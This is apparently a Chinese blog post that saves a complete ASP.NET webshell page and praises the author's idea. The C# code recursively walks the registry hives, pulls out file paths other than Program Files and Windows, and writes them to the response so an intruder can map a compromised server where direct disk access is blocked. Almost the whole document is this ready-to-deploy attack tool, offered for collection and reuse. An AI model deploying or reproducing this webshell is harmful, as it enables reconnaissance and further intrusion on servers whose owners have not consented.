今日取得一SHELL代码，思路可以，收藏于此
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Collections" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ import Namespace="System.Collections.Generic"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<%
Stack sack = new Stack();//测试成功，比较卡
List<String> list = new List<String>();
sack.Push(Registry.ClassesRoot);
sack.Push(Registry.CurrentConfig);
sack.Push(Registry.CurrentUser);
sack.Push(Registry.LocalMachine);
sack.Push(Registry.Users);
while (sack.Count > 0)
{
RegistryKey Hklm = (RegistryKey)sack.Pop();
if (Hklm != null)
{
try
{
string[] names = Hklm.GetValueNames();
foreach (string name in names)
{
try
{
string str = Hklm.GetValue(name).ToString().ToLower();
if (str.IndexOf(":\\") != -1 && str.IndexOf("c:\\program files") == -1 && str.IndexOf("c:\\windows") == -1)
{
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
MatchCollection matches = regImg.Matches(str);
if (matches.Count > 0)
{
string temp = "";
foreach (Match match in matches)
{
temp = match.Value;
if (!temp.EndsWith("\\"))
{
if (list.IndexOf(temp) == -1)
{
Response.Write(temp + "<br/>");
list.Add(temp);
}
}
else
temp = temp.Substring(0, temp.LastIndexOf("\\"));
while (temp.IndexOf("\\") != -1)
{
if (list.IndexOf(temp + "\\") == -1)
{
Response.Write(temp + "\\<br/>");
list.Add(temp + "\\");
}
temp = temp.Substring(0, temp.LastIndexOf("\\"));
}
}
}
}
}
catch (Exception se) { }
}
}
catch (Exception ee) { }
try
{
string[] keys = Hklm.GetSubKeyNames();
foreach (string key in keys)
{
try
{
sack.Push(Hklm.OpenSubKey(key));
}
catch (System.Security.SecurityException sse) { }
}
}
catch (Exception ee) { }
}
}
%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
粗略看了一下源码，此SHELL通过遍历注册表键值，通过正则表达式匹配出所有的路径，然后剔除“c:\\program files”\ "c:\windows\"等这样的目录，把它输出出来，这样为搜集信息提供方便，作者的思路还是不错的，因为好多时候你是没有权限直接访问硬盘目录的，而注册表却疏于防范。
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